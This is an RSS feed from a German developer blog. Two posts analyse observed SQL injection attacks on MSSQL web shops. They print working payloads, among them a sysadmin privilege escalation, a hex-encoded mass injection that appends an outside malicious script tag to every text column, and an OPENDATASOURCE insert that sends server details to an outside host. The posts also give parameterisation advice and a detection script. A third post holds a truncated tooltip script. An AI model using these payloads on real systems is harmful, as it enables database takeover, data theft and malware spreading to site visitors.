<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>knoxmic // Ronny Engelmann &#187; programmers-corner</title>
	<atom:link href="http://knoxmic.net/category/programmers-corner/feed/" rel="self" type="application/rss+xml" />
	<link>http://knoxmic.net</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Fri, 08 May 2009 12:22:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SQL-Injection, &#8216; OR 1=1 ist für Anfänger!</title>
		<link>http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/</link>
		<comments>http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/#comments</comments>
		<pubDate>Fri, 08 May 2009 12:22:37 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/?p=37</guid>
		<description><![CDATA[Neben dem im letzten Post erwähnten SQL-Befehl, der dafür zuständig ist den Inhalt aller Textfelder in einer Datenbank um bestimmten JavaScript-Code zu erweitern, konnte ich weitere interessante Vorgehensweisen beobachten:



&#8216;;declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, &#8217;sysadmin&#8217;&#8211;




Damit wird versucht den aktuellen Nutzer der Rolle &#8220;sysadmin&#8221; hinzuzufügen, damit soll wahrscheinlich die Grundlage für weitere [...]]]></description>
			<content:encoded><![CDATA[<p>Neben dem im letzten Post erwähnten SQL-Befehl, der dafür zuständig ist den Inhalt aller Textfelder in einer Datenbank um bestimmten JavaScript-Code zu erweitern, konnte ich weitere interessante Vorgehensweisen beobachten:</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">&#8216;;declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, &#8217;sysadmin&#8217;&#8211;</div>
</li>
</ol>
</div>
<p>
Damit wird versucht den aktuellen Nutzer der Rolle &#8220;sysadmin&#8221; hinzuzufügen, damit soll wahrscheinlich die Grundlage für weitere Befehle geschaffen werden. </p>
<p>Die nachfolgende SQL-Injection ist aber mit Abstand die interessanteste. Hier wird eine Verbindung zu einem kompromitieren SQL-Server aufgebaut, dieser Server ist noch online und hostet den Online-Shop (6cang.com). Das Passwort habe ich hier verschleiert. Die Tabelle _t_basicinfo gehört auch nicht zum Standardrepertoire der master Tabelle vom MSSQL-Server. Das könnte man als sogenanntes Silent-SQL-Injection prägen, immerhin merkt der angegriffene erstmal nichts von der Attacke. Die Angreifer sammeln automatisiert (<a href="http://sqlmap.sourceforge.net/">sqlmap</a>) potenzielle Opfer und widmen sich diesen dann ausgiebiger. Sehr clever. Blöd natürlich das das Passwort in der Attacke auftaucht, verbreitet sich dieser Befehl im Internet, könnte der Admin leicht ins schwitzen geraten. Meine Kontaktversuche mit 6cang.com waren nicht erfolgreich.</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1">;dEcLaRe @s vArChAr(8000) sEt @s=0&#215;20496&#8230;.d2d eXeC(@s) &#8212; </div>
</li>
</ol>
</div>
<p></p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">INSERT</span> <span class="kw1">INTO</span> OpenDatasource<span class="br0">&#40;</span><span class="st0">&#8217;sqloledb&#8217;</span><span class="sy0">,</span><span class="st0">&#8216;Data Source=222.35.142.45,1433;Network Library=DBMSSOCN;Initial Catalog=master;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">User ID=sa;Password=XXXXXXXXX;&#8217;</span><span class="br0">&#41;</span><span class="sy0">.</span>master<span class="sy0">.</span>dbo<span class="sy0">.</span>_t_basicinfo </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">SELECT</span> dB_nAME<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span>uSER<span class="sy0">,</span>@@vERSION<span class="sy0">,</span>@@sERVERnAME<span class="sy0">,</span>@@sERVICEnAME<span class="sy0">,</span>sYSTEM_uSER<span class="sy0">,</span>gETDATE<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="co1">&#8211;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL-Injection, der Spass beginnt!</title>
		<link>http://knoxmic.net/sql-injection-der-spass-beginnt/</link>
		<comments>http://knoxmic.net/sql-injection-der-spass-beginnt/#comments</comments>
		<pubDate>Wed, 28 May 2008 11:34:23 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[programmers-corner]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[sql-injection]]></category>

		<guid isPermaLink="false">http://knoxmic.net/?p=32</guid>
		<description><![CDATA[Kann der Web-Entwickler abends ruhig einschlafen, oder gehen ihm diese oder ähnliche Zeilen durch den Kopf?
&#160;



sql = &#34;SELECT * FROM ShopWarenkorb WHERE id = &#8216;&#34;&#38; Request.QueryString&#40;&#34;id&#34;&#41; &#38;&#34;&#8217;&#34;



&#160;
Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte Heise Security endlich in seinen RSS-Reader aufnehmen. Hier ein paar Artikel die [...]]]></description>
			<content:encoded><![CDATA[<p>Kann der Web-Entwickler abends ruhig einschlafen, oder gehen ihm diese oder ähnliche Zeilen durch den Kopf?</p>
<p>&nbsp;</p>
<div class="asp" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">sql = <span class="st0">&quot;SELECT * FROM ShopWarenkorb WHERE id = &#8216;&quot;</span>&amp; <span class="kw1">Request</span>.<span class="kw3">QueryString</span><span class="br0">&#40;</span><span class="st0">&quot;id&quot;</span><span class="br0">&#41;</span> &amp;<span class="st0">&quot;&#8217;&quot;</span></div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte <a href="http://www.heise.de/security/news/news-atom.xml">Heise Security</a> endlich in seinen <a href="http://google.com/reader">RSS-Reader</a> aufnehmen. Hier ein paar Artikel die das Problem verdeutlichen:</p>
<p>&nbsp;</p>
<ul style="list-style:none;">
<li><a href="http://www.heise.de/newsticker/meldung/108107/">Massenhack von chinesischen Webseiten</a></li>
<li><a href="http://www.heise.de/newsticker/meldung/107786/">Erneuter Massenhack von Webseiten</a></li>
</ul>
<p>&nbsp;</p>
<p>Aber wie funktioniert das? Wie kommt schädliches Javascript in die Datenbank? Ganz einfach, mittels SQL-Injection wird der SQL-Befehl der Anwendung abgeschlossen und der Angreifer fügt seinen eigenen SQL-Code hinzu. Das kann dann so aussehen:</p>
<p>&nbsp;</p>
<div class="html4strict" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">http://www.xyz.com/?id=1&#8242;;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=<br />CAST(0&#215;4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E0077006F00770067006D0031002E0063006E002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200<br />%20AS%20NVARCHAR(4000));EXEC(@S);&#8211;</div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>In dem ersten Wert des CAST befindet sich der SQL-Befehl als Hexwert. Mittels SQL läßt sich ein String leicht in Binärwerte konvertieren, es gibt ja den Datentyp BINARY ;)</p>
<p>&nbsp;</p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">DECLARE @nvarchar NVARCHAR<span class="br0">&#40;</span><span class="nu0">4000</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> @nvarchar <span class="sy0">=</span> <span class="st0">&#8216;SELECT&#8217;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @<span class="kw1">BINARY</span> <span class="kw1">BINARY</span><span class="br0">&#40;</span><span class="nu0">12</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> @<span class="kw1">BINARY</span> <span class="sy0">=</span> CAST<span class="br0">&#40;</span>@nvarchar <span class="kw1">AS</span> <span class="kw1">BINARY</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> @<span class="kw1">BINARY</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> CAST<span class="br0">&#40;</span>@<span class="kw1">BINARY</span> <span class="kw1">AS</span> NVARCHAR<span class="br0">&#40;</span><span class="nu0">4000</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>Konvertiert man den SQL-Code von oben wieder in NVARCHAR erhält man folgendes SQL:</p>
<p>&nbsp;</p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">DECLARE @T varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span>, @C varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span> &nbsp; </div>
</li>
<li class="li1">
<div class="de1">DECLARE Table_Cursor </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">CURSOR <span class="kw1">FOR</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> a.name,b.name </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">FROM</span> sysobjects a,syscolumns b </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">WHERE</span> </div>
</li>
<li class="li1">
<div class="de1">a.id<span class="sy0">=</span>b.id </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">AND</span> a.xtype<span class="sy0">=</span><span class="st0">&#8216;u&#8217;</span> </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">AND</span> <span class="br0">&#40;</span>b.xtype<span class="sy0">=</span><span class="nu0">99</span> <span class="kw1">OR</span> b.xtype<span class="sy0">=</span><span class="nu0">35</span> <span class="kw1">OR</span> b.xtype<span class="sy0">=</span><span class="nu0">231</span> <span class="kw1">OR</span> b.xtype<span class="sy0">=</span><span class="nu0">167</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">OPEN Table_Cursor </div>
</li>
<li class="li1">
<div class="de1">FETCH NEXT <span class="kw1">FROM</span> &nbsp;Table_Cursor </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INTO</span> @T,@C </div>
</li>
<li class="li1">
<div class="de1">WHILE<span class="br0">&#40;</span>@@FETCH_STATUS<span class="sy0">=</span><span class="nu0">0</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">BEGIN </div>
</li>
<li class="li1">
<div class="de1">exec<span class="br0">&#40;</span><span class="st0">&#8216;update ['</span>+@T+<span class="st0">'] set ['</span>+@C+<span class="st0">']=rtrim(convert(varchar,['</span>+@C+<span class="st0">']))+&#8217;</span><span class="st0">&#8216;&lt;script src=http://xyz/xyz.js&gt;&lt;/script&gt;&#8217;</span><span class="st0">&#8221;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">FETCH NEXT <span class="kw1">FROM</span> &nbsp;Table_Cursor <span class="kw1">INTO</span> @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</div>
</li>
</ul>
</div>
<p>&nbsp;</p>
<p>Dieses SQL macht nichts weiter als alle Tabellen (Nutzertabellen) der Datenbank ermitteln und in die Textspalten jeweils am Ende von Rechts den angegebenen String einfügen. Die Web-Anwendung nimmt die Inhalte aus der Datenbank und gibt diese auf einer Seite aus. Somit wird, Voraussetzung ist natürlich der angegebene Server ist noch online, das eingebundene Javascript ausgeführt. Der Code in dem eingebundenen Javascript versucht dann vermutlich per Buffer Overflow in verschiedenen Plugins der Browser eigenen Code auszuführen um damit gefährliche Programme nachzuladen / zu installieren (Trojaner etc.).</p>
<p>&nbsp;</p>
<p>Was man dagegen tun kann ist eigentlich ganz einfach. Alle Eingabewerte der Nutzer richtig prüfen und sämtliche SQL-Befehle parametrisiert an die Datenbank geben. Bitte nicht in einer Stored Procedure wiederum mit dem Parameter einen SQL-Befehl zusammenbauen und anschließend per EXEC ausführen ;)</p>
<p>&nbsp;</p>
<p>Mithilfe dieser <a href="/scripts/malicious-code-search.sql">SQL-Befehle</a> läßt sich die Datenbank nach womöglich schädlichen Code durchsuchen:</p>
<p>&nbsp;</p>
<div class="sql" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ul>
<li class="li1">
<div class="de1">DECLARE @searchValue varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> @searchValue <span class="sy0">=</span> <span class="st0">&#8217;script&#8217;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SET</span> NOCOUNT <span class="kw1">ON</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @TempTable <span class="kw1">TABLE</span> <span class="br0">&#40;</span>table_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span>,column_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">CREATE</span> <span class="kw1">TABLE</span> <span class="co2">#TempTableContent (table_name varchar(255),column_name varchar(255), value text)</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INSERT</span> <span class="kw1">INTO</span> @TempTable</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> ic.table_schema + <span class="st0">&#8216;.&#8217;</span> + dbo.sysobjects.name <span class="kw1">AS</span> Tabellenname, dbo.syscolumns.name <span class="kw1">AS</span> Spaltenname</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">FROM</span> dbo.syscolumns </div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INNER</span> <span class="kw1">JOIN</span> dbo.sysobjects <span class="kw1">ON</span> dbo.syscolumns.id <span class="sy0">=</span> dbo.sysobjects.id</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INNER</span> <span class="kw1">JOIN</span> dbo.systypes <span class="kw1">ON</span> dbo.syscolumns.xtype <span class="sy0">=</span> dbo.systypes.xtype</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INNER</span> <span class="kw1">JOIN</span> information_schema.<span class="kw1">COLUMNS</span> ic <span class="kw1">ON</span> ic.table_name <span class="sy0">=</span> dbo.sysobjects.name <span class="kw1">AND</span> ic.column_name <span class="sy0">=</span> dbo.syscolumns.name</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">WHERE</span> <span class="br0">&#40;</span>dbo.sysobjects.xtype <span class="sy0">=</span> <span class="st0">&#8216;U&#8217;</span><span class="br0">&#41;</span> <span class="kw1">AND</span> dbo.systypes.name <span class="kw1">IN</span> <span class="br0">&#40;</span><span class="st0">&#8216;varchar&#8217;</span>, <span class="st0">&#8216;nvarchar&#8217;</span>, <span class="st0">&#8216;text&#8217;</span>, <span class="st0">&#8216;char&#8217;</span>, <span class="st0">&#8216;ntext&#8217;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @SQLString varchar<span class="br0">&#40;</span><span class="nu0">500</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">DECLARE @table_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span>, @column_name varchar<span class="br0">&#40;</span><span class="nu0">255</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">DECLARE <span class="kw1">DATA</span> CURSOR <span class="kw1">LOCAL</span> FAST_FORWARD <span class="kw1">FOR</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> table_name, column_name <span class="kw1">FROM</span> @TempTable</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">OPEN <span class="kw1">DATA</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">FETCH NEXT <span class="kw1">FROM</span> <span class="kw1">DATA</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">INTO</span> @table_name, @column_name</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">WHILE @@FETCH_STATUS <span class="sy0">=</span> <span class="nu0">0</span></div>
</li>
<li class="li1">
<div class="de1">BEGIN</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">SET</span> @SQLString <span class="sy0">=</span> N<span class="st0">&#8217;select &#8216;</span><span class="st0">&#8221;</span>+ @table_name +<span class="st0">&#8221;</span><span class="st0">&#8216; AS table_name, &#8216;</span><span class="st0">&#8221;</span> + @column_name +<span class="st0">&#8221;</span><span class="st0">&#8216; AS column_name, ['</span> + @column_name +<span class="st0">'] AS value &#8216;</span> + <span class="st0">&#8216; FROM &#8216;</span> + @table_name + <span class="st0">&#8216; where ['</span> + @column_name + <span class="st0">'] LIKE &#8216;</span><span class="st0">&#8216;%&#8217;</span>+@searchValue+<span class="st0">&#8216;%&#8217;</span><span class="st0">&#8221;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="co2">#TempTableContent</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; EXEC<span class="br0">&#40;</span>@SQLString<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; FETCH NEXT <span class="kw1">FROM</span> <span class="kw1">DATA</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">INTO</span> @table_name, @column_name</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">END</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> * <span class="kw1">FROM</span> <span class="co2">#TempTableContent</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">DROP</span> <span class="kw1">TABLE</span> <span class="co2">#TempTableContent</span></div>
</li>
</ul>
</div>
]]></content:encoded>
			<wfw:commentRss>http://knoxmic.net/sql-injection-der-spass-beginnt/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tooltip with JavaScript</title>
		<link>http://knoxmic.net/tooltip-with-javascript/</link>
		<comments>http://knoxmic.net/tooltip-with-javascript/#comments</comments>
		<pubDate>Fri, 27 Oct 2006 16:20:24 +0000</pubDate>
		<dc:creator>Ronny Engelmann</dc:creator>
				<category><![CDATA[programmers-corner]]></category>

		<guid isPermaLink="false">http://knoxmic.net/tooltip-with-javascript/</guid>
		<description><![CDATA[Mit dem folgenden kleinen Skript lassen sich unterschiedliche Tooltips mittels JavaScript realisieren.
Die JavaScript-Funktionen zur Erzeugung der Tooltips werden über eine ausgelagerte JavaScript-Datei eingebunden.



// tt = tooltip


// global variables


var intOffset_X_Pointer = 20;


var intOffset_Y_Pointer = 20;


&#160;


// elements for tooltip


var aryToolTipElements = Array&#40;&#8216;a&#8217;,&#8217;span&#8217;&#41;;


&#160;


// browser?


var blnIE = document.all;


var blnNS = document.getElementById &#38;&#38; !document.all;


&#160;


// tt-container


document.write&#40;&#8216;&#60;div id=&#34;my_tt&#34;&#62;&#60;/div&#62;&#60;br /&#62;&#8217;&#41;;


&#160;


var show_tt = false;


var [...]]]></description>
			<content:encoded><![CDATA[<p>Mit dem folgenden kleinen Skript lassen sich unterschiedliche Tooltips mittels JavaScript realisieren.</p>
<p>Die JavaScript-Funktionen zur Erzeugung der Tooltips werden über eine ausgelagerte JavaScript-Datei eingebunden.</p>
<div class="javascript" style="white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f0f0f0; margin: 0; line-height: 110%; padding: 0;color: #000099;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">// tt = tooltip</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// global variables</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> intOffset_X_Pointer = <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> intOffset_Y_Pointer = <span class="nu0">20</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// elements for tooltip</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> aryToolTipElements = Array<span class="br0">&#40;</span><span class="st0">&#8216;a&#8217;</span>,<span class="st0">&#8217;span&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// browser?</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> blnIE = document.<span class="me1">all</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> blnNS = document.<span class="me1">getElementById</span> &amp;&amp; !document.<span class="me1">all</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// tt-container</span></div>
</li>
<li class="li1">
<div class="de1">document.<span class="kw1">write</span><span class="br0">&#40;</span><span class="st0">&#8216;&lt;div id=&quot;my_tt&quot;&gt;&lt;/div&gt;&lt;br /&gt;&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> show_tt = <span class="kw2">false</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">var</span> obj_tt = document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;my_tt&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// get tt-elements</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> generateToolTips<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> x = <span class="nu0">0</span>; x != aryToolTipElements.<span class="me1">length</span>; x++<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">var</span> objElement = document.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span>aryToolTipElements<span class="br0">&#91;</span>x<span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>objElement<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> y = <span class="nu0">0</span>; y != objElement.<span class="me1">length</span>; y++<span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">className</span> == <span class="st0">&quot;tt&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">setAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;tt_content&quot;</span>, objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">title</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">removeAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;title&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">onmouseover</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; enable_tt<span class="br0">&#40;</span><span class="kw1">this</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;tt_content&quot;</span><span class="br0">&#41;</span>,<span class="kw2">true</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; objElement<span class="br0">&#91;</span>y<span class="br0">&#93;</span>.<span class="me1">onmouseout</span> = <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> hide_tt<span class="br0">&#40;</span><span class="kw2">false</span><span class="br0">&#41;</span>; <span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
